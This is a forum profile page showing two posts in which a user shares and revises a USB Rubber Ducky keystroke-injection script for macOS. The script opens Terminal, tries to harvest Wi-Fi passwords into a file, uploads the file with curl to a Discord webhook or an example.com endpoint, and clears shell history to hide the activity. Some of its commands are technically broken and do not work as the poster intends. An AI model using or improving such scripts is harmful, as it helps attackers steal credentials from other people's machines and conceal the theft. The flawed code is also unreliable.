Jump to content

bobyrossy

Members
  • Posts

    2
  • Joined

  • Last visited

Posts posted by bobyrossy

  1. I changed the script a bit, will this work better? 
     

    ID 05ac:021e Apple:Keyboard
    REM Open Terminal
    DELAY 500
    GUI SPACE
    DELAY 500
    STRING Terminal
    ENTER
    DELAY 1000

    REM Run Commands in Terminal
    STRING /usr/sbin/networksetup -listallnetworkservices | while read service; do
        /usr/sbin/networksetup -getairportnetwork "$service" | grep -E "password" | sed 's/.*: //' >> wifi-passwords.txt
    done
    ENTER
    STRING curl -F "file=@wifi-passwords.txt" https://example.com/upload
    ENTER
    STRING history -c
    ENTER

  2. I am trying to create a script for macOS and have no clue if it would work since I do not have a macOS computer, I know this sounds suspicious but I am just seeing if this it right.

    REM Open Terminal
    DELAY 500
    GUI SPACE
    DELAY 500
    STRING Terminal
    ENTER
    DELAY 1000

    REM Extract Wi-Fi Passwords
    STRING /usr/sbin/networksetup -listallnetworkservices | while read service; do
        /usr/sbin/networksetup -getairportnetwork "$service" | grep -E "password" | sed 's/.*: //' >> wifi-passwords.txt
    done
    ENTER

    REM Change Directory and Upload File
    DELAY 500
    GUI SPACE
    DELAY 200
    STRING Terminal
    ENTER
    DELAY 1000
    STRING cd /usr/sbin/networksetup
    ENTER
    DELAY 500
    STRING curl -F "file=@wifi-passwords.txt" DISCORDWEBHOOK
    ENTER

    REM Clear Terminal History
    STRING history -c
    ENTER
     

×
×
  • Create New...